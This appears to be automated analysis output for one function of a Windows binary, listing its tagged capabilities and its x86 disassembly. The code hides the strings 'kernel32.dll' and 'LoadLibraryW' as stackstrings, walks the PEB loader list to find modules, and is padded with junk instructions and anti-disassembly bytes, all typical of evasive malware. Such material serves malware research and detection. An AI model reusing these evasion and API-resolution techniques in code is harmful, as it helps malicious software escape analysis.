Function at 0x493a71
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
xchg ebp, eax
enter 0xffffffffffffffef, 0xffffffffffffffff
mov eax, dword [ebp - 0xc98]
add eax, 2
mov dword [ebp - 0xc98], eax
mov cx, word [ebp - 0x1038]
mov word [ebp - 0x10c], cx
push esi
call 0x493810
add byte [ecx + 0x3c], al
inc ecx
cmp al, byte [ebx + 0x4f]
xor al, 0x83
les eax, [ebx + ebp*8]
pop es
dec edx
aas
inc ebx
inc ebp
inc ebp
inc ebp
cmp eax, 0x3eb505e
aas
dec eax
dec ecx
call 0x493830
add byte [eax + 0x4f], al
inc ebp
cmp al, 0x48
dec ecx
inc eax
add esp, 4
pop eax
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x493857
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e8], eax
jmp 0x4938ba
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x493776
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x493776
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x4938a4
mov dword [ebp - 0x15e4], 0xffffffff
jmp 0x4938ae
mov dword [ebp - 0x15e4], 1
mov edx, dword [ebp - 0x15e4]
mov dword [ebp - 0x15e8], edx
cmp dword [ebp - 0x15e8], 0
jne 0x493903
push edx
push esi
add esp, 4
jmp 0x4938ce
sub edx, 0xf056
add edx, 0x11f57
add edx, 0xa889
pop edx
push ecx
push edx
add esp, 4
sub ecx, 0x8df6
pop ecx
push esi
jmp 0x4938f4
pop esi
mov eax, dword [ebp - 0x508]
mov dword [ebp - 0x2d4], eax
jmp 0x49396b
push edi
or edi, 0x1e0f
or edi, 0x12d32
add edi, 0x25cd
add edi, 0x56f
pop edi
push ecx
push ecx
add esp, 4
sub ecx, 0x12973
sub ecx, 0x2404
or ecx, 0x6915
pop ecx
mov ecx, dword [ebp - 0x508]
mov edx, dword [ecx]
mov dword [ebp - 0x508], edx
mov eax, dword [ebp - 0x508]
cmp eax, dword [ebp - 0xc9c]
je 0x493961
mov ecx, dword [ebp - 0x508]
cmp dword [ecx + 0x30], 0
jne 0x493717
mov dword [ebp - 0x2d4], 0
push eax
push ebx
add esp, 4
add eax, 0x12766
add eax, 0xeec2
and eax, 0x46e6
xor eax, 0x33c5
pop eax
push eax
add eax, 0xe280
pop eax
push ecx
push esi
add esp, 4
and ecx, 0x134b7
pop ecx
cmp dword [ebp - 0x2d4], 0
jne 0x4942b6
mov edx, 0x6b
mov word [ebp - 0x17ac], dx
mov eax, 0x65
mov word [ebp - 0x17aa], ax
mov ecx, 0x72
mov word [ebp - 0x17a8], cx
mov edx, 0x6e
mov word [ebp - 0x17a6], dx
mov eax, 0x65
mov word [ebp - 0x17a4], ax
mov ecx, 0x6c
mov word [ebp - 0x17a2], cx
mov edx, 0x33
mov word [ebp - 0x17a0], dx
mov eax, 0x32
mov word [ebp - 0x179e], ax
mov ecx, 0x2e
mov word [ebp - 0x179c], cx
mov edx, 0x64
mov word [ebp - 0x179a], dx
mov eax, 0x6c
mov word [ebp - 0x1798], ax
mov ecx, 0x6c
mov word [ebp - 0x1796], cx
xor edx, edx
mov word [ebp - 0x1794], dx
push eax
jmp 0x493a4b
pop eax
push edi
or edi, 0xece4
add edi, 0x14ef8
pop edi
push edx
xor edx, 0x1610b
call 0x493a71
add byte [0x454b4c49], bh
xor eax, 0x3a333d40
add esp, 4
pop edx
mov byte [ebp - 0x898], 0x4c
mov byte [ebp - 0x897], 0x6f
mov byte [ebp - 0x896], 0x61
mov byte [ebp - 0x895], 0x64
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x69
mov byte [ebp - 0x892], 0x62
mov byte [ebp - 0x891], 0x72
mov byte [ebp - 0x890], 0x61
mov byte [ebp - 0x88f], 0x72
mov byte [ebp - 0x88e], 0x79
mov byte [ebp - 0x88d], 0x57
mov byte [ebp - 0x88c], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1990], eax
mov ecx, dword [ebp - 0x1990]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1994], edx
mov eax, dword [ebp - 0x1994]
mov dword [ebp - 0x15ec], eax
push edi
and edi, 0x122d7
xor edi, 0x14ed7
and edi, 0x6506
pop edi
push eax
add eax, 0xfba3
and eax, 0x9949
pop eax
push esi
and esi, 0xade1
jmp 0x493b28
pop esi
cmp dword [ebp - 0x15ec], 0
jne 0x493b41
mov dword [ebp - 0x754], 0
jmp 0x493dfd
mov ecx, dword [ebp - 0x15ec]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca8], eax
push ecx
push ecx
add esp, 4
jmp 0x493b60
pop ecx
push ebx
jmp 0x493b68
call 0x493b75
add byte [eax + 0x50], al
dec edi
inc ebp
inc edx
inc esi
dec edi
add esp, 4
or ebx, 0x12095
add ebx, 0x11bed
pop ebx
cmp dword [ebp - 0xca8], 0
jne 0x493b9d
mov dword [ebp - 0x754], 0
jmp 0x493dfd
mov ecx, dword [ebp - 0xca8]
mov dword [ebp - 0x50c], ecx